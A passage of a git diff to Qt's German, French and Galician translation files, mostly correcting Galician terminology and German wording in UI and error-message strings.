<source>A value of type %1 cannot have an Effective Boolean Value.</source>
- <translation>Ein Wert des Typs %1 kann keinen effektiven Booleschen Wert haben.</translation>
+ <translation>Ein Wert des Typs %1 kann keinen effektiven booleschen Wert haben.</translation>
</message>
<message>
<source>Value %1 of type %2 exceeds maximum (%3).</source>
@@ -8264,7 +8264,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>A comment cannot contain %1</source>
- <translation>Ein Kommentar darf nicht&apos;%1 enthalten</translation>
+ <translation>Ein Kommentar darf %1 nicht enthalten</translation>
</message>
<message>
<source>A comment cannot end with a %1.</source>
@@ -8284,7 +8284,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.</source>
- <translation>Werte des Typs %1 dürfen keine Prädikate sein. Für Prädikate sind nur numerische oder effektiv Boolesche Typen zulässig.</translation>
+ <translation>Werte des Typs %1 dürfen keine Prädikate sein. Für Prädikate sind nur numerische oder effektive boolesche Typen zulässig.</translation>
</message>
<message>
<source>A positional predicate must evaluate to a single numeric value.</source>
@@ -8292,7 +8292,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.</source>
- <translation>Der Zielname einer Processing-Anweisung kann nicht %1 (unabhängig von Groß/Kleinschreibung sein). %2 ist daher ungültig.</translation>
+ <translation>Der Zielname einer Processing-Anweisung kann nicht %1 (unabhängig von Groß/Kleinschreibung) sein. %2 ist daher ungültig.</translation>
</message>
<message>
<source>%1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.</source>
@@ -8570,15 +8570,15 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>%1 is an unsupported encoding.</source>
- <translation>Das Encoding %1 wird nicht unterstützt.</translation>
+ <translation>Die Kodierung %1 wird nicht unterstützt.</translation>
</message>
<message>
<source>%1 contains octets which are disallowed in the requested encoding %2.</source>
- <translation>%1 enthält Oktette, die im Encoding %2 nicht zulässig sind.</translation>
+ <translation>%1 enthält Oktette, die in der Kodierung %2 nicht zulässig sind.</translation>
</message>
<message>
<source>The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.</source>
- <translation>Der Code-Punkt %1 aus %2 mit Encoding %3 ist kein gültiges XML-Zeichen.</translation>
+ <translation>Der Code-Punkt %1 aus %2 mit der Kodierung %3 ist kein gültiges XML-Zeichen.</translation>
</message>
<message>
<source>Ambiguous rule match.</source>
@@ -9562,7 +9562,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>Boolean content does not match pattern facet.</source>
- <translation>Der Boolesche Wert entspricht nicht der Suchmusterfacette.</translation>
+ <translation>Der boolesche Wert entspricht nicht der Suchmusterfacette.</translation>
</message>
<message>
<source>Binary content does not match the length facet.</source>
diff --git a/translations/qt_fr.ts b/translations/qt_fr.ts
index b1ded34..eb9f1b5 100644
--- a/translations/qt_fr.ts
+++ b/translations/qt_fr.ts
@@ -2205,7 +2205,7 @@ en
<translation>Chaîne de caractères non fermée en fin de ligne</translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation>Séquence d&apos;échappement illégale</translation>
</message>
<message>
diff --git a/translations/qt_gl.ts b/translations/qt_gl.ts
index 41e338f..23e71c2 100644
--- a/translations/qt_gl.ts
+++ b/translations/qt_gl.ts
@@ -5,7 +5,7 @@
<name>CloseButton</name>
<message>
<source>Close Tab</source>
- <translation>Pechar a lingüeta</translation>
+ <translation>Pechar a lapela</translation>
</message>
</context>
<context>
@@ -51,30 +51,6 @@
</message>
</context>
<context>
- <name>QApplication</name>
- <message>
- <source>QT_LAYOUT_DIRECTION</source>
- <comment>Translate this string to the string &apos;LTR&apos; in left-to-right languages or to &apos;RTL&apos; in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.</comment>
- <translation>LTR</translation>
- </message>
- <message>
- <source>Activate</source>
- <translation>Activar</translation>
- </message>
- <message>
- <source>Activates the program&apos;s main window</source>
- <translation>Activa a fiestra principal do programa</translation>
- </message>
- <message>
- <source>Executable &apos;%1&apos; requires Qt %2, found Qt %3.</source>
- <translation>O executábel «%1» require de Qt %2, e achouse Qt %3.</translation>
- </message>
- <message>
- <source>Incompatible Qt Library Error</source>
- <translation>Erro de bibliotecas Qt incompatíbeis</translation>
- </message>
-</context>
-<context>
<name>Phonon::</name>
<message>
<source>Notifications</source>
@@ -134,7 +110,7 @@ máis preferencia ou está configurado especificamente para este fluxo.&lt;/html
<message>
<source>Warning: You do not seem to have the base GStreamer plugins installed.
All audio and video support has been disabled</source>
- <translation>Aviso: Non semella ter instaladas as extensións básicas de GStreamer.
+ <translation>Aviso: Non semella ter instalados os complementos básicos de GStreamer.
Desactivouse todo o soporte de son e vídeo</translation>
</message>
</context>
@@ -155,7 +131,7 @@ Comprobe a instalación de GStreamer e verifique que ten instalado libgstreamer-
</message>
<message>
<source>Plugin codec installation failed for codec: %0</source>
- <translation>Fallou a instalación da extensión dun códec: %0</translation>
+ <translation>Fallou a instalación do complemento dun códec: %0</translation>
</message>
<message>
<source>A required codec is missing. You need to install the following codec(s) to play this content: %0</source>
@@ -172,7 +148,7 @@ reproducir este contido: %0</translation>
</message>
<message>
<source>Could not locate media source.</source>
- <translation>Non foi posíbel localizar a orixe do medio.</translation>
+ <translation>Non foi posíbel atopar a orixe do medio.</translation>
</message>
<message>
<source>Could not open audio device. The device is already in use.</source>
@@ -223,7 +199,7 @@ reproducir este contido: %0</translation>
</message>
<message>
<source>Path not found</source>
- <translation>Non se atopou a rota</translation>
+ <translation>Non se atopou a ruta</translation>
</message>
<message>
<source>In use</source>
@@ -348,6 +324,10 @@ reproducir este contido: %0</translation>
<source>Playback complete</source>
<translation>Completouse a reprodución</translation>
</message>
+ <message>
+ <source>Download error</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>Phonon::MMF::AbstractVideoPlayer</name>
@@ -467,6 +447,10 @@ reproducir este contido: %0</translation>
<source>Error opening source: media type could not be determined</source>
<translation>Erro ao abrir a fonte: non foi posíbel determinar o tipo de medio</translation>
</message>
+ <message>
+ <source>Failed to set requested IAP</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>Phonon::MMF::StereoWidening</name>
@@ -752,7 +736,7 @@ reproducir este contido: %0</translation>
</message>
<message>
<source>Find Directory</source>
- <translation>Procurar un cartafol</translation>
+ <translation>Buscar un cartafol</translation>
</message>
<message>
<source>Directories</source>
@@ -772,7 +756,7 @@ File not found.
Check path and filename.</source>
<translation>%1
Non se atopou o ficheiro.
-Verifique a rota e o nome do ficheiro.</translation>
+Verifique a ruta e o nome do ficheiro.</translation>
</message>
<message>
<source>All Files (*.*)</source>
@@ -936,31 +920,31 @@ para
</message>
<message>
<source>Contains commands to manipulate the window</source>
- <translation>Contén ordes para manipular a fiestra</translation>
+ <translation>Contén ordes para manipular a xanela</translation>
</message>
<message>
<source>Puts a minimized window back to normal</source>
- <translation>Volta unha fiestra minimizada ao tamaño normal</translation>
+ <translation>Volta unha xanela minimizada ao tamaño normal</translation>
</message>
<message>
<source>Moves the window out of the way</source>
- <translation>Vota a un lado a fiestra</translation>
+ <translation>Vota a un lado a xanela</translation>
</message>
<message>
<source>Puts a maximized window back to normal</source>
- <translation>Volta unha fiestra maximizada ao tamaño normal</translation>
+ <translation>Volta unha xanela maximizada ao tamaño normal</translation>
</message>
<message>
<source>Makes the window full screen</source>
- <translation>Pon a fiestra a pantalla completa</translation>
+ <translation>Pon a xanela a pantalla completa</translation>
</message>
<message>
<source>Closes the window</source>
- <translation>Pecha a fiestra</translation>
+ <translation>Pecha a xanela</translation>
</message>
<message>
<source>Displays the name of the window and contains controls to manipulate it</source>
- <translation>Mostra o nome da fiestra e contén controles para manipulala</translation>
+ <translation>Mostra o nome da xanela e contén controles para manipulala</translation>
</message>
</context>
<context>
@@ -1064,176 +1048,6 @@ para
</message>
</context>
<context>
- <name>QHttp</name>
- <message>
- <source>Connection refused</source>
- <translation>Rexeitouse a conexión</translation>
- </message>
- <message>
- <source>Connection closed</source>
- <translation>Pechouse a conexión</translation>
- </message>
- <message>
- <source>Proxy requires authentication</source>
- <translation>O proxy require autenticación</translation>
- </message>
- <message>
- <source>Host requires authentication</source>
- <translation>O servidor require autenticación</translation>
- </message>
- <message>
- <source>Data corrupted</source>
- <translation>Datos corrompidos</translation>
- </message>
- <message>
- <source>Unknown protocol specified</source>
- <translation>Especificouse un protocolo descoñecido</translation>
- </message>
- <message>
- <source>SSL handshake failed</source>
- <translation>Fallou a negociación de SSL</translation>
- </message>
- <message>
- <source>HTTPS connection requested but SSL support not compiled in</source>
- <translation>Pediuse unha conexión HTTPS pero non se compilou con soporte de SSL</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Erro descoñecido</translation>
- </message>
- <message>
- <source>Request aborted</source>
- <translation>Pedido abortado</translation>
- </message>
- <message>
- <source>No server set to connect to</source>
- <translation>Non se indicou ningún servidor co que conectar</translation>
- </message>
- <message>
- <source>Wrong content length</source>
- <translation>Longitude do contido incorrecta</translation>
- </message>
- <message>
- <source>Server closed connection unexpectedly</source>
- <translation>O servidor pechou a conexión inesperadamente</translation>
- </message>
- <message>
- <source>Connection refused (or timed out)</source>
- <translation>Rexeitouse a conexión (ou esgouto o tempo-límite)</translation>
- </message>
- <message>
- <source>Host %1 not found</source>
- <translation>Non se atopou o servidor %1</translation>
- </message>
- <message>
- <source>HTTP request failed</source>
- <translation>O pedido HTTP fallou</translation>
- </message>
- <message>
- <source>Invalid HTTP response header</source>
- <translation>A cabeceira da resposta HTTP non é válida</translation>
- </message>
- <message>
- <source>Unknown authentication method</source>
- <translation>Método descoñecido de autenticación</translation>
- </message>
- <message>
- <source>Proxy authentication required</source>
- <translation>Requírese de autenticación no proxy</translation>
- </message>
- <message>
- <source>Authentication required</source>
- <translation>Requírese de autenticación</translation>
- </message>
- <message>
- <source>Invalid HTTP chunked body</source>
- <translation>Corpo HTTP en pedazos non válido</translation>
- </message>
- <message>
- <source>Error writing response to device</source>
- <translation>Erro ao escribir a resposta no dispositivo</translation>
- </message>
- <message>
- <source>Host %1 found</source>
- <translation>Atopouse o servidor %1</translation>
- </message>
- <message>
- <source>Connected to host %1</source>
- <translation>Conectado co servidor %1</translation>
- </message>
- <message>
- <source>Connection to %1 closed</source>
- <translation>Pechouse a conexión con %1</translation>
- </message>
- <message>
- <source>Host found</source>
- <translation>Atopouse un servidor</translation>
- </message>
- <message>
- <source>Connected to host</source>
- <translation>Conectado co servidor</translation>
- </message>
-</context>
-<context>
- <name>QSocks5SocketEngine</name>
- <message>
- <source>Connection to proxy refused</source>
- <translation>A conexión co proxy foi rexeitada</translation>
- </message>
- <message>
- <source>Connection to proxy closed prematurely</source>
- <translation>A conexión co proxy pechouse antes de tempo</translation>
- </message>
- <message>
- <source>Proxy host not found</source>
- <translation>Non se atopou o servidor proxy</translation>
- </message>
- <message>
- <source>Connection to proxy timed out</source>
- <translation>A conexión co proxy esgotou o tempo-límite</translation>
- </message>
- <message>
- <source>Proxy authentication failed</source>
- <translation>Fallou a autenticación co proxy</translation>
- </message>
- <message>
- <source>Proxy authentication failed: %1</source>
- <translation>Fallou a autenticación no proxy: %1</translation>
- </message>
- <message>
- <source>SOCKS version 5 protocol error</source>
- <translation>Erro do protocolo SOCKS versión 5</translation>
- </message>
- <message>
- <source>General SOCKSv5 server failure</source>
- <translation>Fallo xeral do servidor SOCKSv5</translation>
- </message>
- <message>
- <source>Connection not allowed by SOCKSv5 server</source>
- <translation>O servidor SOCKSv5 non permitiu a conexión</translation>
- </message>
- <message>
- <source>TTL expired</source>
- <translation>Esgotouse o TTL</translation>
- </message>
- <message>
- <source>SOCKSv5 command not supported</source>
- <translation>A orde SOCKSv5 non está soportada</translation>
- </message>
- <message>
- <source>Address type not supported</source>
- <translation>Tipo de enderezo non soportado</translation>
- </message>
- <message>
- <source>Unknown SOCKSv5 proxy error code 0x%1</source>
- <translation>Código de erro descoñecido (0x%1) do proxy SOCKSv5</translation>
- </message>
- <message>
- <source>Network operation timed out</source>
- <translation>A operación de rede esgotou o tempo-límite</translation>
- </message>
-</context>
-<context>
<name>QAbstractSpinBox</name>
<message>
<source>&amp;Select All</source>
@@ -1256,43 +1070,27 @@ para
</message>
</context>
<context>
- <name>QCheckBox</name>
- <message>
- <source>Uncheck</source>
- <translation>Desmarcar</translation>
- </message>
- <message>
- <source>Check</source>
- <translation>Marcar</translation>
- </message>
+ <name>QApplication</name>
<message>
- <source>Toggle</source>
- <translation>Conmutar</translation>
+ <source>QT_LAYOUT_DIRECTION</source>
+ <comment>Translate this string to the string &apos;LTR&apos; in left-to-right languages or to &apos;RTL&apos; in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.</comment>
+ <translation>LTR</translation>
</message>
-</context>
-<context>
- <name>QPushButton</name>
<message>
- <source>Open</source>
- <translation>Abrir</translation>
+ <source>Activate</source>
+ <translation>Activar</translation>
</message>
-</context>
-<context>
- <name>QRadioButton</name>
<message>
- <source>Check</source>
- <translation>Marcar</translation>
+ <source>Activates the program&apos;s main window</source>
+ <translation>Activa a xanela principal do programa</translation>
</message>
-</context>
-<context>
- <name>QToolButton</name>
<message>
- <source>Press</source>
- <translation>Premer</translation>
+ <source>Executable &apos;%1&apos; requires Qt %2, found Qt %3.</source>
+ <translation>O executábel «%1» require de Qt %2, e atopouse Qt %3.</translation>
</message>
<message>
- <source>Open</source>
- <translation>Abrir</translation>
+ <source>Incompatible Qt Library Error</source>
+ <translation>Erro de bibliotecas Qt incompatíbeis</translation>
</message>
</context>
<context>
@@ -1315,6 +1113,21 @@ para
</message>
</context>
<context>
+ <name>QCheckBox</name>
+ <message>
+ <source>Uncheck</source>
+ <translation>Desmarcar</translation>
+ </message>
+ <message>
+ <source>Check</source>
+ <translation>Marcar</translation>
+ </message>
+ <message>
+ <source>Toggle</source>
+ <translation>Conmutar</translation>
+ </message>
+</context>
+<context>
<name>QColorDialog</name>
<message>
<source>Hu&amp;e:</source>
@@ -1381,17 +1194,6 @@ para
</message>
</context>
<context>
- <name>QTabBar</name>
- <message>
- <source>Scroll Left</source>
- <translation>Desprazar cara a esquerda</translation>
- </message>
- <message>
- <source>Scroll Right</source>
- <translation>Desprazar cara a dereita</translation>
- </message>
-</context>
-<context>
<name>QCoreApplication</name>
<message>
<source>%1: already exists</source>
@@ -1409,6 +1211,11 @@ para
<translation>%1: esgotou os recursos</translation>
</message>
<message>
+ <source>%1: permission denied</source>
+ <comment>QSystemSemaphore</comment>
+ <translation type="unfinished">%1: negouse o permiso</translation>
+ </message>
+ <message>
<source>%1: unknown error %2</source>
<comment>QSystemSemaphore</comment>
<translation>%1: erro descoñecido %2</translation>
@@ -1430,29 +1237,6 @@ para
</message>
</context>
<context>
- <name>QSystemSemaphore</name>
- <message>
- <source>%1: permission denied</source>
- <translation>%1: negouse o permiso</translation>
- </message>
- <message>
- <source>%1: already exists</source>
- <translation>%1: xa existe</translation>
- </message>
- <message>
- <source>%1: does not exist</source>
- <translation>%1: non existe</translation>
- </message>
- <message>
- <source>%1: out of resources</source>
- <translation>%1: esgotou os recursos</translation>
- </message>
- <message>
- <source>%1: unknown error %2</source>
- <translation>%1: erro descoñecido %2</translation>
- </message>
-</context>
-<context>
<name>QDB2Driver</name>
<message>
<source>Unable to connect</source>
@@ -1499,46 +1283,6 @@ para
</message>
</context>
<context>
- <name>QODBCResult</name>
- <message>
- <source>Unable to fetch last</source>
- <translation>Non foi posíbel acadar o último</translation>
- </message>
- <message>
- <source>QODBCResult::reset: Unable to set &apos;SQL_CURSOR_STATIC&apos; as statement attribute. Please check your ODBC driver configuration</source>
- <translation>QODBCResult::reset: Non foi posíbel estabelecer «SQL_CURSOR_STATIC» como
-atributo da sentenza. Verifique a configuración do controlador ODBC</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Non foi posíbel executar a sentenza</translation>
- </message>
- <message>
- <source>Unable to fetch</source>
- <translation>Non foi posíbel acadar</translation>
- </message>
- <message>
- <source>Unable to fetch next</source>
- <translation>Non foi posíbel acadar o seguinte</translation>
- </message>
- <message>
- <source>Unable to fetch first</source>
- <translation>Non foi posíbel acadar o primeiro</translation>
- </message>
- <message>
- <source>Unable to fetch previous</source>
- <translation>Non foi posíbel acadar o anterior</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Non foi posíbel preparar a sentenza</translation>
- </message>
- <message>
- <source>Unable to bind variable</source>
- <translation>Non foi posíbel asociar a variábel</translation>
- </message>
-</context>
-<context>
<name>QDateTimeEdit</name>
<message>
<source>AM</source>
@@ -1561,11 +1305,11 @@ atributo da sentenza. Verifique a configuración do controlador ODBC</translatio
<name>QDeclarativeAbstractAnimation</name>
<message>
<source>Cannot animate non-existent property &quot;%1&quot;</source>
- <translation>Non se pode animar a propriedade inexistente «%1»</translation>
+ <translation>Non se pode animar a propiedade inexistente «%1»</translation>
</message>
<message>
<source>Cannot animate read-only property &quot;%1&quot;</source>
- <translation>Non se pode animar a propriedade só para lectura «%1»</translation>
+ <translation>Non se pode animar a propiedade só para lectura «%1»</translation>
</message>
<message>
<source>Animation is an abstract class</source>
@@ -1580,42 +1324,6 @@ atributo da sentenza. Verifique a configuración do controlador ODBC</translatio
</message>
</context>
<context>
- <name>QDeclarativeParentAnimation</name>
- <message>
- <source>Unable to preserve appearance under complex transform</source>
- <translation>Non é posíbel conservar a aparencia con transformación complexa</translation>
- </message>
- <message>
- <source>Unable to preserve appearance under non-uniform scale</source>
- <translation>Non é posíbel conservar a aparencia con escalado non uniforme</translation>
- </message>
- <message>
- <source>Unable to preserve appearance under scale of 0</source>
- <translation>Non é posíbel conservar a aparencia con escala de 0</translation>
- </message>
-</context>
-<context>
- <name>QDeclarativePauseAnimation</name>
- <message>
- <source>Cannot set a duration of &lt; 0</source>
- <translation>Non se pode indicar unha duración &lt; 0</translation>
- </message>
-</context>
-<context>
- <name>QDeclarativePropertyAnimation</name>
- <message>
- <source>Cannot set a duration of &lt; 0</source>
- <translation>Non se pode indicar unha duración &lt; 0</translation>
- </message>
-</context>
-<context>
- <name>QDeclarativeXmlListModel</name>
- <message>
- <source>Qt was built without support for xmlpatterns</source>
- <translation>Qt construíuse sen soporte para xmlpatterns</translation>
- </message>
-</context>
-<context>
<name>QDeclarativeAnchors</name>
<message>
<source>Possible anchor loop detected on fill.</source>
@@ -1675,20 +1383,6 @@ superior, inferior nin vcenter.</translation>
</message>
</context>
<context>
- <name>QDeclarativeKeyNavigationAttached</name>
- <message>
- <source>KeyNavigation is only available via attached properties</source>
- <translation>KeyNavigation só está dispoñíbel mediante as propriedades anexadas</translation>
- </message>
-</context>
-<context>
- <name>QDeclarativeKeysAttached</name>
- <message>
- <source>Keys is only available via attached properties</source>
- <translation>Keys só está dispoñíbel mediante as propriedades anexadas</translation>
- </message>
-</context>
-<context>
<name>QDeclarativeBehavior</name>
<message>
<source>Cannot change the animation assigned to a Behavior.</source>
@@ -1699,85 +1393,85 @@ superior, inferior nin vcenter.</translation>
<name>QDeclarativeBinding</name>
<message>
<source>Binding loop detected for property &quot;%1&quot;</source>
- <translation>Detectouse un ciclo de unión para a propriedade «%1»</translation>
+ <translation>Detectouse un ciclo de unión para a propiedade «%1»</translation>
</message>
</context>
<context>
<name>QDeclarativeCompiledBindings</name>
<message>
<source>Binding loop detected for property &quot;%1&quot;</source>
- <translation>Detectouse un ciclo de unión para a propriedade «%1»</translation>
+ <translation>Detectouse un ciclo de unión para a propiedade «%1»</translation>
</message>
</context>
<context>
<name>QDeclarativeCompiler</name>
<message>
<source>Invalid property assignment: &quot;%1&quot; is a read-only property</source>
- <translation>Asignación de propriedade non válida: «%1» é unha propriedade só para lectura</translation>
+ <translation>Asignación de propiedade non válida: «%1» é unha propiedade só para lectura</translation>
</message>
<message>
<source>Invalid property assignment: unknown enumeration</source>
- <translation>Asignación de propriedade non válida: enumeración descoñecida</translation>
+ <translation>Asignación de propiedade non válida: enumeración descoñecida</translation>
</message>
<message>
<source>Invalid property assignment: string expected</source>
- <translation>Asignación de propriedade non válida: agardábase unha cadea</translation>
+ <translation>Asignación de propiedade non válida: agardábase unha cadea</translation>
</message>
<message>
<source>Invalid property assignment: url expected</source>
- <translation>Asignación de propriedade non válida: agardábase un URL</translation>
+ <translation>Asignación de propiedade non válida: agardábase un URL</translation>
</message>
<message>
<source>Invalid property assignment: unsigned int expected</source>
- <translation>Asignación de propriedade non válida: agardábase un unsigned int</translation>
+ <translation>Asignación de propiedade non válida: agardábase un unsigned int</translation>
</message>
<message>
<source>Invalid property assignment: int expected</source>
- <translation>Asignación de propriedade non válida: agardábase un int</translation>
+ <translation>Asignación de propiedade non válida: agardábase un int</translation>
</message>
<message>
<source>Invalid property assignment: number expected</source>
- <translation>Asignación de propriedade non válida: agardábase un número</translation>
+ <translation>Asignación de propiedade non válida: agardábase un número</translation>
</message>
<message>
<source>Invalid property assignment: color expected</source>
- <translation>Asignación de propriedade non válida: agardábase unha cor</translation>
+ <translation>Asignación de propiedade non válida: agardábase unha cor</translation>
</message>
<message>
<source>Invalid property assignment: date expected</source>
- <translation>Asignación de propriedade non válida: agardábase unha date</translation>
+ <translation>Asignación de propiedade non válida: agardábase unha date</translation>
</message>
<message>
<source>Invalid property assignment: time expected</source>
- <translation>Asignación de propriedade non válida: agardábase un time</translation>
+ <translation>Asignación de propiedade non válida: agardábase un time</translation>
</message>
<message>
<source>Invalid property assignment: datetime expected</source>
- <translation>Asignación de propriedade non válida: agardábase un datetime</translation>
+ <translation>Asignación de propiedade non válida: agardábase un datetime</translation>
</message>
<message>
<source>Invalid property assignment: point expected</source>
- <translation>Asignación de propriedade non válida: agardábase un punto</translation>
+ <translation>Asignación de propiedade non válida: agardábase un punto</translation>
</message>
<message>
<source>Invalid property assignment: size expected</source>
- <translation>Asignación de propriedade non válida: agardábase un tamaño</translation>
+ <translation>Asignación de propiedade non válida: agardábase un tamaño</translation>
</message>
<message>
<source>Invalid property assignment: rect expected</source>
- <translation>Asignación de propriedade non válida: agardábase un rect</translation>
+ <translation>Asignación de propiedade non válida: agardábase un rect</translation>
</message>
<message>
<source>Invalid property assignment: boolean expected</source>
- <translation>Asignación de propriedade non válida: agardábase un booleano</translation>
+ <translation>Asignación de propiedade non válida: agardábase un booleano</translation>
</message>
<message>
<source>Invalid property assignment: 3D vector expected</source>
- <translation>Asignación de propriedade non válida: agardábase un vector 3D</translation>
+ <translation>Asignación de propiedade non válida: agardábase un vector 3D</translation>
</message>
<message>
<source>Invalid property assignment: unsupported type &quot;%1&quot;</source>
- <translation>Asignación de propriedade non válida: tipo non soportado «%1»</translation>
+ <translation>Asignación de propiedade non válida: tipo non soportado «%1»</translation>
</message>
<message>
<source>Element is not creatable.</source>
@@ -1785,7 +1479,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Component elements may not contain properties other than id</source>
- <translation>Os elementos compoñentes non poden conter máis propriedades que o id</translation>
+ <translation>Os elementos compoñentes non poden conter máis propiedades que o id</translation>
</message>
<message>
<source>Invalid component id specification</source>
@@ -1801,7 +1495,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Component objects cannot declare new properties.</source>
- <translation>Os obxectos compoñentes non poden declarar novas propriedades.</translation>
+ <translation>Os obxectos compoñentes non poden declarar novas propiedades.</translation>
</message>
<message>
<source>Component objects cannot declare new signals.</source>
@@ -1829,15 +1523,15 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Empty property assignment</source>
- <translation>Asignación baleira de propriedade</translation>
+ <translation>Asignación baleira de propiedade</translation>
</message>
<message>
<source>Attached properties cannot be used here</source>
- <translation>As propriedades anexas non se poden empregar aquí</translation>
+ <translation>As propiedades anexas non se poden empregar aquí</translation>
</message>
<message>
<source>Non-existent attached object</source>
- <translation>Anexáronse propriedades inexistentes</translation>
+ <translation>Anexáronse propiedades inexistentes</translation>
</message>
<message>
<source>Invalid attached object assignment</source>
@@ -1845,11 +1539,11 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Cannot assign to non-existent default property</source>
- <translation>Non se pode asignar a unha propriedade predeterminada inexistente</translation>
+ <translation>Non se pode asignar a unha propiedade predeterminada inexistente</translation>
</message>
<message>
<source>Cannot assign to non-existent property &quot;%1&quot;</source>
- <translation>Non se pode asignar a unha propriedade inexistente «%1»</translation>
+ <translation>Non se pode asignar a unha propiedade inexistente «%1»</translation>
</message>
<message>
<source>Invalid use of namespace</source>
@@ -1857,35 +1551,35 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Not an attached property name</source>
- <translation>Non é un nome de propriedade anexa</translation>
+ <translation>Non é un nome de propiedade anexa</translation>
</message>
<message>
<source>Invalid use of id property</source>
- <translation>Uso non válido da propriedade id</translation>
+ <translation>Uso non válido da propiedade id</translation>
</message>
<message>
<source>Property has already been assigned a value</source>
- <translation>Xa se lle asignou un valor a esta propriedade</translation>
+ <translation>Xa se lle asignou un valor a esta propiedade</translation>
</message>
<message>
<source>Invalid grouped property access</source>
- <translation>Acceso non válido a unha propriedade agrupada</translation>
+ <translation>Acceso non válido a unha propiedade agrupada</translation>
</message>
<message>
<source>Cannot assign a value directly to a grouped property</source>
- <translation>Non se pode asignar directamente un valor a unha propriedade agrupada</translation>
+ <translation>Non se pode asignar directamente un valor a unha propiedade agrupada</translation>
</message>
<message>
<source>Invalid property use</source>
- <translation>Uso non válido da propriedade</translation>
+ <translation>Uso non válido da propiedade</translation>
</message>
<message>
<source>Property assignment expected</source>
- <translation>Agardábase unha asignación de propriedade</translation>
+ <translation>Agardábase unha asignación de propiedade</translation>
</message>
<message>
<source>Single property assignment expected</source>
- <translation>Agardábase unha única asignación a propriedade</translation>
+ <translation>Agardábase unha única asignación a propiedade</translation>
</message>
<message>
<source>Unexpected object assignment</source>
@@ -1905,15 +1599,19 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Cannot assign multiple values to a script property</source>
- <translation>Non se poden asignar varios valores a unha propriedade de script</translation>
+ <translation>Non se poden asignar varios valores a unha propiedade de script</translation>
</message>
<message>
<source>Invalid property assignment: script expected</source>
- <translation>Asignación de propriedade non válida: agardábase un script</translation>
+ <translation>Asignación de propiedade non válida: agardábase un script</translation>
+ </message>
+ <message>
+ <source>Cannot assign multiple values to a singular property</source>
+ <translation type="unfinished"></translation>
</message>
<message>
<source>Cannot assign object to property</source>
- <translation>Non se pode asignar un obxecto a unha propriedade</translation>
+ <translation>Non se pode asignar un obxecto a unha propiedade</translation>
</message>
<message>
<source>&quot;%1&quot; cannot operate on &quot;%2&quot;</source>
@@ -1921,19 +1619,19 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Duplicate default property</source>
- <translation>Propriedade predeterminada duplicada</translation>
+ <translation>Propiedade predeterminada duplicada</translation>
</message>
<message>
<source>Duplicate property name</source>
- <translation>Nome de propriedade duplicado</translation>
+ <translation>Nome de propiedade duplicado</translation>
</message>
<message>
<source>Property names cannot begin with an upper case letter</source>
- <translation>Os nomes das propriedades non poden comezar por maiúscula</translation>
+ <translation>Os nomes das propiedades non poden comezar por maiúscula</translation>
</message>
<message>
<source>Illegal property name</source>
- <translation>Nome ilegal de propriedade</translation>
+ <translation>Nome ilegal de propiedade</translation>
</message>
<message>
<source>Duplicate signal name</source>
@@ -1961,19 +1659,19 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Property value set multiple times</source>
- <translation>O valor dunha propriedade indicouse varias veces</translation>
+ <translation>O valor dunha propiedade indicouse varias veces</translation>
</message>
<message>
<source>Invalid property nesting</source>
- <translation>Aniñamento non válido de propriedade</translation>
+ <translation>Aniñamento non válido de propiedade</translation>
</message>
<message>
<source>Cannot override FINAL property</source>
- <translation>Non se pode sobrescribir a propriedade FINAL</translation>
+ <translation>Non se pode sobrescribir a propiedade FINAL</translation>
</message>
<message>
<source>Invalid property type</source>
- <translation>Tipo de propriedade non válido</translation>
+ <translation>Tipo de propiedade non válido</translation>
</message>
<message>
<source>Invalid empty ID</source>
@@ -1993,23 +1691,31 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>ID illegally masks global JavaScript property</source>
- <translation>O ID enmascara ilegalmente unha propriedade JavaScript global</translation>
+ <translation>O ID enmascara ilegalmente unha propiedade JavaScript global</translation>
</message>
<message>
<source>No property alias location</source>
- <translation>Falta a localización dun alcume dunha propriedade</translation>
+ <translation>Falta a localización dun alcume dunha propiedade</translation>
</message>
<message>
<source>Invalid alias location</source>
<translation>Localización non válida dun alcume</translation>
</message>
<message>
+ <source>Invalid alias reference. An alias reference must be specified as &lt;id&gt;, &lt;id&gt;.&lt;property&gt; or &lt;id&gt;.&lt;value property&gt;.&lt;property&gt;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Alias property exceeds alias bounds</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Invalid alias reference. An alias reference must be specified as &lt;id&gt; or &lt;id&gt;.&lt;property&gt;</source>
- <translation>Referencianon válida a un alcume. Unha referencia a un alcume debe indicarse como &lt;id&gt; ou como &lt;id&gt;.&lt;propriedade&gt;</translation>
+ <translation type="obsolete">Referencia non válida a un alcume. Unha referencia a un alcume debe indicarse como &lt;id&gt; ou como &lt;id&gt;.&lt;propiedade&gt;</translation>
</message>
<message>
<source>Invalid alias reference. Unable to find id &quot;%1&quot;</source>
- <translation>Referencia non válida a un alcume. Non foi posíbel achar o id «%1»</translation>
